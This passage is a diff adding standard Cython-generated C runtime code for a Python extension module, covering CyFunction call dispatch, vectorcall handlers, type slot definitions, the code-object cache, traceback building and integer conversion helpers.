+__Pyx_CyFunction_repr(__pyx_CyFunctionObject *op) +{ +#if PY_MAJOR_VERSION >= 3 + return PyUnicode_FromFormat("", + op->func_qualname, (void *)op); +#else + return PyString_FromFormat("", + PyString_AsString(op->func_qualname), (void *)op); +#endif +} +static PyObject * __Pyx_CyFunction_CallMethod(PyObject *func, PyObject *self, PyObject *arg, PyObject *kw) { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *f = ((__pyx_CyFunctionObject*)func)->func; + PyObject *py_name = NULL; + PyCFunction meth; + int flags; + meth = PyCFunction_GetFunction(f); + if (unlikely(!meth)) return NULL; + flags = PyCFunction_GetFlags(f); + if (unlikely(flags < 0)) return NULL; +#else + PyCFunctionObject* f = (PyCFunctionObject*)func; + PyCFunction meth = f->m_ml->ml_meth; + int flags = f->m_ml->ml_flags; +#endif + Py_ssize_t size; + switch (flags & (METH_VARARGS | METH_KEYWORDS | METH_NOARGS | METH_O)) { + case METH_VARARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) + return (*meth)(self, arg); + break; + case METH_VARARGS | METH_KEYWORDS: + return (*(PyCFunctionWithKeywords)(void*)meth)(self, arg, kw); + case METH_NOARGS: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 0)) + return (*meth)(self, NULL); +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + case METH_O: + if (likely(kw == NULL || PyDict_Size(kw) == 0)) { +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(arg); +#else + size = PyTuple_Size(arg); + if (unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__29); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + 